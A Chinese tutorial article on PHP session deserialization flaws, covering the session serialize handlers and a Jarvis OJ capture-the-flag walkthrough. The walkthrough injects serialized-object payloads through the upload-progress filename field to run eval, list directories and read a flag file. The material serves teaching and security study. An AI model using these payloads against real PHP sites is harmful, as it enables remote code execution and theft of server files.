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详细介绍PHP的session反序列化漏洞

时间:2022-06-22

来源:互联网

标签: php

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本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于session反序列化漏洞的相关问题,就是序列化存储Session数据与反序列化读取Session数据的方式不同导致Session反序列化漏洞,希望对大家有帮助。

推荐学习:《PHP视频教程》

PHP session反序列化漏洞

PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生

什么是session

官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。主要有以下特点:

  • session保存的位置是在服务器端
  • session通常是要配合cookie使用

因为HTTP的无状态性,服务端产生了session来标识当前的用户状态

本质上,session就是一种可以维持服务器端的数据存储技术。即**session技术就是一种基于后端有别于数据库的临时存储数据的技术**

PHP session工作流程

以PHP为例,理解session的原理

  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
    • 如果Cookie中存在,获取PHPSESSID
    • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
  2. 初始化超全局变量$_SESSION为一个空数组
  3. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
    • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
    • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  4. 程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

具体原理图:

php.ini session配置

php.ini里面有较重要的session配置项

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

PHP session序列化机制

根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)经过 serialize() 函数反序列处理的数组

php处理器

首先来看看默认session.serialize_handler = php时候的序列化结果,代码如下

<?php//ini_set('session.serialize_handler','php');session_start();$_SESSION['name'] = $_GET['name'];echo $_SESSION['name'];?>

为了方便查看,将session存储目录设置为session.save_path = "/www/php_session"PHPSESSID文件如下

1、文件名

文件名为sess_mpnnbont606f50eb178na451od,其中mpnnbont606f50eb178na451od就是后续请求头中Cookie携带的PHPSESSID的值 (如上图浏览器中已存储)

2、文件内容

php处理器存储格式

键名竖线经过 serialize() 函数反序列处理的值
$_SESSION[‘name’]的键名:name|s:6:“harden”;

php_binary处理器

使用php_binary处理器,即session.serialize_handler = php_binary

<?phpini_set('session.serialize_handler','php_binary');session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION['namenamenamenamenamenamenamenamename'] = $_GET['name'];echo $_SESSION['namenamenamenamenamenamenamenamename'];?>

由于三种方式PHPSESSID文件名都是一样的,这里只需要查看文件内容

键名的长度对应的 ASCII 字符键名经过 serialize() 函数反序列处理的值.
$namenamenamenamenamenamenamenamenames:6:“harden”;

php_serialize 处理器

使用php_binary处理器,即session.serialize_handler = php_serialize

<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name'] = $_GET['name'];echo $_SESSION['name'];?>

文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}

session的反序列化漏洞利用

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php,使用php_serialize处理器来存储session数据

<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['session'] = $_GET['session'];echo $_SESSION['session'];?>

test.php,使用默认php处理器来存储session数据

<?phpsession_start();class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }}$str = new f4ke();?>

接着,我们构建URL进行访问session.php

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

漏洞分析:

session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

键名竖线经过 serialize() 函数反序列处理的值
a:1:{s:7:“session”;s:45:"|O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;}

php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';

我们访问test.php,即可直接执行phpinfo()函数

CTF例题:PHPINFO

<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }}if(isset($_GET['phpinfo'])){
    $m = new OowoO();}else{
    highlight_string(file_get_contents('index.php'));}?>

我们可以看到ini_set('session.serialize_handler', 'php'),判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数,进一步查看session.serialize_handler配置

可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
master value(主变量:php.ini里面的内容):php_serialize

那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

下面是官方给出的一个文件上传时监测进度例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" /></form>

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度,如下所示:

<?php$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 ));

其中,session中的field_namename都是我们可控的输入点!

下面我们就开始解题拿到flag

首先,http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" /></form>

构造序列化字符串作为payload(利用代码)

<?phpclass OowoO{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为了防止"被转义,我们在payload中加入\

随意选择文件,点击表单提交,使用抓包工具burpsuite抓取请求包

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发送请求包,代码执行过程分析:

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

phpinfo查看当前目录,/opt/lampp/htdocs/

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容,即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

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